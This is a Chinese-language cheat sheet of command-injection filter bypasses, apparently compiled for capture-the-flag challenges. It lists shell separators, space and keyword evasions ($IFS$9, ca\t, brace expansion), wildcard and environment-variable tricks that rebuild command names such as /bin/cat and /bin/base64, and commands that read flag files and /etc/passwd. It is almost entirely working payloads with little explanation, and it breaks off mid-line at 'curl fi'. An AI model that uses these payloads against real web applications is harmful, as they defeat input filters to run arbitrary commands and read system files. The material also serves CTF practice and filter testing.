目录
目录
联合执行
; //分号
| //前一个命令执行的结果做为后一个命令的参数
|| //前面条命令执行失败,才会执行下个命令
& //两条命令都会执行,任务在后台执行
&& // 只有前面条命令成功,才会执行下个命令
%0a //换行
%0d
1>/dev/null 2>&1绕过
代表重定向到哪里,例如:echo “123” > /home/123.txt
1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/ null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
无字母/bin
/???/????64%20????.???
# /bin/base64 flag.php
/???/???/???2 ???.????
# /usr/bin/bzip2
# 然后url访问flag.php.bz2
bypass
空格被过滤
%09
%0a
<
<>
${
IFS}
$IFS$9
{
cat,flag.php}
文件名被过滤
?
*
''
""
\
[%00-%ff]
cat被过滤
od
awk '/flag/' flag.php
nl
nl
${
PATH:${
#TERM}:${
SHLVL:~A}}${
PATH:${
#RANDOM}:${
#SHLVL:~A}}
${
PATH:~A}${
PATH:${
#RANDOM}:${
#SHLVL:~A}}
/bin/cat
${
HOME:${
#}:${
##}}???${
HOME:${
#}:${
##}}??${
HOME:${
#HOSTNAME}:${
#SHLVL}}
xxd
less
ca\t
ca''t
more
rev
/bin/rev
fmt
base64
/bin/base64
code=${
HOME:${
#}:${
##}}???${
HOME:${
#}:${
##}}?????${
#RANDOM}
tac
| cat的倒序
tail
php /flag
sh /flag
| 利用报错出flag
paste /flag /etc/passwd
| 可以两个一起读
diff /flag.txt /etc/passwd
curl fi